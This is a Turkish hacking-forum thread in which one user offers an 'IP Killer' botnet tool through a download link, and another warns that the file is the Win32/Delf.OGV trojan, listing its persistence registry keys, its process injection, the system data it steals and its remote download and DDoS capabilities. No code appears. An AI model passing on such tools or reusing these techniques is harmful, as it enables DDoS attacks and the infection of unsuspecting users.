MP-Tools IP Killer (BOTNET)

XenonHD

Forumdan Uzaklaştırıldı

Katılım

16 Tem 2016

Mesajlar

45

Tepkime puanı

0

Puanları

0

• 7 Eyl 2016

• #1

Ben video çekmedim doğrusunu söylemek gerekirse ben fazla beceremedim ama kullanışlı bi botnet tavsiye ederim   [video=youtube]

Link: https://mega.nz/#!D0RjAI4L!Nuji7RxjGyvsteSPPKM_Ra-JHRvVMg0oDLj_eZO0MZ0


VirusTotal: https://www.virustotal.com/tr/file/...38cd849f22a73606e283147f/analysis/1473208492/

 

A

alperen34

Yeni Üye

Katılım

30 Eki 2016

Mesajlar

14

Tepkime puanı

0

Puanları

1

• 27 Şub 2017

• #2

XenonHD' Alıntı:

Ben video çekmedim doğrusunu söylemek gerekirse ben fazla beceremedim ama kullanışlı bi botnet tavsiye ederim   [video=youtube]

Link: https://mega.nz/#!D0RjAI4L!Nuji7RxjGyvsteSPPKM_Ra-JHRvVMg0oDLj_eZO0MZ0


VirusTotal: https://www.virustotal.com/tr/file/...38cd849f22a73606e283147f/analysis/1473208492/

link kIrIk

Genişletmek için tıkla ...

 

Calvinator.KG

Spys-Z

Katılım

22 Kas 2016

Mesajlar

304

Tepkime puanı

13

Puanları

0

Yaş

26

• 17 Nis 2017

• #3

eh işte idare eder az da olsa

 

SKYERZ

Spys-Z

Katılım

13 Şub 2017

Mesajlar

421

Tepkime puanı

1

Puanları

0

Yaş

22

Web sitesi

ajanlar.org

• 30 Nis 2017

• #4

----Dikkat!---​

[size=small]Win32 / Delf.OGV [Tehdit Varyant Adı]

Kategori
Trojan[/size]​

Kurulum
Truva, çalıştırıldığında şu konumlarda kendini kopyalar:

• % Appdata% \ AdobeTM.exe
• % Appdata% \ Microsoft \ WinNT.tmp

Daha sonra bu trojan kopyası çalıştırılır.

Her sistem başlangıcında yürütülebilmek için, Trojan aşağıdaki Kayıt defteri girişlerini ayarlar:

• [HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run]
  • "AdobeART" = "% appdata% \ AdobeTM.exe"
    
• [HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run]
  • "AdobeART" = "% appdata% \ AdobeTM.exe"

Daha fazla bilgi
Truva, aşağıdaki dosyaları çalıştırır:

• Calc.exe

Truva, bu çalışan işlemler içinde kendi koduyla yeni bir iş parçacığı yaratır ve çalışır.

Truva, aşağıdaki dosyaların kopyalarını oluşturur (kaynak, hedef):

• % Appdata% \ Microsoft \ WinNT.tmp,% appdata% \ AdobeTM.exe

Bilgi çalmak
Win32 / Delf.OGV, hassas bilgilerin çalınmasına neden olan bir trojan.

Aşağıdaki bilgiler toplanmaktadır:

• kullanıcı adı
• bilgisayar adı
• Işletim sistemi sürümü

Truva, toplanan bilgileri uzaktaki bir makineye göndermeye çalışıyor.
Diğer bilgiler
Truva, uzaktaki bir bilgisayardan veya İnternetten veri ve komutlar edinir.

Truva, bir URL adresi içeriyor. UDP protokolü kullanılır.

Uzak bilgisayar / sunucu ile ağ iletişimi şifrelenir.

Aşağıdaki işlemleri gerçekleştirebilir:

• Dosyaları uzak bir bilgisayardan ve / veya İnternet'ten indirme
• Yürütülebilir dosyaları çalıştır
• DoS / DDoS saldırıları gerçekleştirmek

 

N0XI

Spys-Z

Katılım

27 Nis 2017

Mesajlar

581

Tepkime puanı

0

Puanları

0

• 21 May 2017

• #5

Saol hocam